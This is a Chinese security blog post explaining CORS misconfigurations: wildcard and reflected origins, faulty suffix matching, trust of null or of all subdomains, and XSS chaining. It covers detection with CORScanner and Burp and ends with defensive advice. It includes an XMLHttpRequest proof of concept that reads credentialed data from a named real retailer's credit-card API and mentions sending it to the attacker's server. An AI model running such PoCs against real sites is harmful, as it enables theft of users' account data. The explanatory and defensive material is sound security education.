(Cross-OriginResource Sharing,跨源资源共享)
其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通。因为开发者需要进行跨域进行获取资源,应用场景,在a.com,想获取b.com中的数据,常用的2种方法进行跨域一种为JSONP,一种为CORS.还有html标签也能跨域,有以下几种img, iframe,ink, script等。

三种对CORS错误配置的利用方法

0x02 利用CORS标头中错误配置的通配符(*)

最常见的CORS配置错误之一是错误地使用诸如(*)之类的通配符,允许域请求资源。这通常设置为默认值,这意味着任何域都可以访问此站点上的资源。例如:

GET /api/userinfo.php
Host: www.victim.com
Origin: www.victim.com当你发送上述请求时,你将获得具有Access-Control-Allow-Origin标头设置的响应。请参阅以下响应代码。

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true在此示例中,标头配置了通配符(*)。 这意味着任何域都可以访问资源。在测试我们客户的Web应用程序时,我们注意到了这种错误配置。我们能够利用它来获取用户信息,如姓名,用户ID,电子邮件ID,并能够将此信息发送到外部服务器。在下图中,我们将REQUEST Origin从受害者域修改为攻击者域。

1.png

以下是我们收到的响应,这意味着受害域允许访问来自所有站点的资源。我们的攻击案例中的Testing.aaa.com网站。

2.png

由于该站点共享来自任何站点的信息,因此让我们进一步的使用我们自己的域来利用它。我们创建了名为https://testing.aaa.com的域,并将其嵌入漏洞利用代码,以便从易受攻击的应用程序中窃取机密信息。当受害者在浏览器中打开https://testing.aaa.com时,它会检索敏感信息并发送给攻击者的服务器。以下是我们可以收集到的信息,如下图所示。

3.png

0x03 将信任域通配符作为 Origin

另一种常见的错误配置是允许与部分验证的域名共享信息。例如,以下请求:

GET /api/userinfo.php
Host: provider.com
Origin: requester.com响应如下:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: requester.com
Access-Control-Allow-Credentials: true考虑一下开发人员是否配置了CORS来验证“Origin header”URL,白名单域只是“requester.com”。现在,当攻击者发起如下请求时:

GET /api/userinfo.php
Host: example.com
Connection: close
Origin: attackerrequester.com服务器会响应:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: attackerrequester.com
Access-Control-Allow-Credentials: true发生这种情况的原因可能是后端配置错误,例如:

if ($_SERVER[''HTTP_HOST''] == ''*requester.com'')
{
//Access data
else{ // unauthorized access}
}我们在客户的一个应用程序中遇到了这个问题。主机域“provider.com”信任以主机名“requester.com”结尾的所有来源,例如“attackerrequester.com”。 因此,我们将origin头部篡改为attackerrequester.com并继续执行请求。

4.png

在以下响应中,相同的origin在响应Access-control-Allow-Origin标头中,这意味着provider.com域允许共享资源到以requester.com结尾的域。

5.png

因此,我们可以创建一个由列入白名单的域名组成的新域名。然后,将恶意站点嵌入利用代码从而获取受害者站点上的敏感信息。

0x04 xss实现cors利用

开发人员用于对抗CORS利用的一种防御机制,是将频繁请求访问信息的域列入白名单。但这并不完全安全,因为只要白名单域中的一个子域易受到其他攻击(如XSS),那么也可以进行CORS利用。

让我们看一个示例,以下代码将允许requester.com的子域访问provider.com的资源配置。

if ($_SERVER[''HTTP_HOST''] == ''*.requester.com'')
{
//Access data
else{ // unauthorized access}
} 假设用户可以访问sub.requester.com而不是requester.com,并且sub.requster.com易受XSS攻击。那么用户就可以使用XSS来利用provider.com。

我们在同一个域上托管了两个应用程序。CORS应用程序托管在testingcors.com上,另一个应用程序则托管在pavan.testingcors.com上,该应用程序易受XSS的攻击。

6.png

使用这个易受攻击的XSS子域,我们可以从testingcors.com上获取敏感信息。我们在“Name”参数中注入了恶意javascript payload。页面加载后,脚本将被执行,并从testingcors.com中获取敏感信息。

7.png

0x05 漏洞挖掘与检测

漏洞的检测比较简单,我们只需要控制请求头中的Oragin头,观察响应头字段即可。推测开源工具:https://github.com/chenjj/CORScanner

通过分析工具源码,可以知道其检测漏洞的逻辑,发现其为变换请求头的origin字段,如果返回包中的access-control-allow-origin内容和发送的origin头内容相同,则存在此问题。

以检测http://www.vuln.com/a.php为例

  1. 反射Origin头
    发送origin头为http://evil.com

http://jsbin.com
https://codepen.io
https://jsfiddle.net
http://www.webdevout.net
https://repl.it

  • 是否信任任意子域名
    http://evil.www.vuln.com
  • https是否信任http(此检测为http,故忽略)
    origin为将https替换为http但我发现了一个问题,就是其没有解析泛域名的问题,也就是配置了access-control-allow-origin为*的安全问题。

于是我fork了一份源码: https://github.com/saucer-man/CORScanner,并加上了这个功能:https://github.com/saucer-man/CORScanner/commit/3af8499c8860e203f1d3264f287c19d047fafd93,有需要的同学可以自取。

对于网站漏洞的挖掘可以使用burp,先勾选上proxy --> options --> Origin --> match and replace里面的Add spoofed CORS origin。

img

然后在网站一阵乱点,最后在HTTP history来筛选带有CORS头部的值,然后用以上工具查看是否有配置缺陷。

检测到CORS配置错误以后,以下有一份poc可用来写报告:

<script>

//以受害者身份,发送一个跨域请求给目标url
var req = new XMLHttpRequest();
req.open(''GET'',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);
req.onload = stealData;
req.withCredentials = true;
req.send();
function stealData(){
    //由于目标站点的CORS配置错误,我们可以读取到相应包
    var data= JSON.stringify(JSON.parse(this.responseText),null,2);

    //展示相应包到这个页面上,作为hacker还可以将内容发送到自己的服务器
    output(data);
}

function output(inp) {
    document.body.appendChild(document.createElement(''pre'')).innerHTML = inp;
}

</script>## 0x06 cors 常见漏洞

6.1 反射Origin头

当管理员想允许多个域名跨域请求时,以下写法都是不允许的

Access-Control-Allow-Origin: http://a.com, http://c.com
或者
Access-Control-Allow-Origin: http://.a.com因为CORS标准规定,Access-Control-Allow-Origin只能配置为单个origin, null或

有些开发者为了方便,直接使用请求者的origin作为ACAO的域名,例如下面的Nginx配置:

add_header "Access-Control-Allow-Origin" $http_origin;
add_header "Access-Control-Allow-Credentials" "true";这种配置非常危险,相当于任意网站可以直接跨域读取其资源内容。

6.2 Origin 校验错误

由于前面那种反射Origin的做法过于暴力,一般也是不可取的,常用做法是通过自定义规则来校验Origin头,但是在校验过程中也会出现错误。这些错误可以分为四类:

6.3 信任null

当配置信任名单为null,可以用来和本地file页面共享数据,如下所示:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true但是攻击者也可以构造Origin为null的跨域请求,比如通过iframe sandbox:

file:///F:/Typora/resources/app//window.html

但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容.

6.5 信任自身全部子域

很多网站为了方便会将CORS配置为信任全部自身子域,这种配置会扩大子域 XSS的危害。

比如某子站存在xss时,可以通过此xss发送跨域请求,从而获取敏感内容。

6.6 Origin:*与 Credentials:true 共用

Access-Control-Allow-Origin:*用于表示允许任意域访问,这种配置只能用于共享公开资源。

所以下面这种配置是错误的,浏览器不允许这两种配置同时出现。(对于共享公开资源,不应该需要身份认证)

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true### 6.7 缺少Vary: Origin头

如果一个资源享有多个域名,它需要对不同域名的请求包生成不同的ACAO头。如果一个请求的响应被缓存,且返回中没有Vary: Origin字段,可能会导致其它域名的请求失效。

比如http://c.com同时允许http://a.comhttp://b.com共享。http://c.com资源内容首先被http://a.com脚本跨域访问后被缓存,其中缓存响应头为 Access-Control-Allow-Origin:http://a.com这时,b.com脚本则不能读取缓存响应内容,因为缓存响应头是允许a.com共享,而不是b.com。

0x06 漏洞防范

  • 不要盲目反射Origin头
  • 严格校验Origin头,避免出现权限泄露
  • 不要配置Access-Control-Allow-Origin: null
  • HTTPS网站不要信任HTTP域
  • 不要信任全部自身子域,减少攻击面
  • 不要配置Origin:*和Credentials: true
  • 增加Vary: Origin头
最后修改:2021 年 02 月 10 日 09 : 07 PM
如果觉得我的文章对你有用,请随意赞赏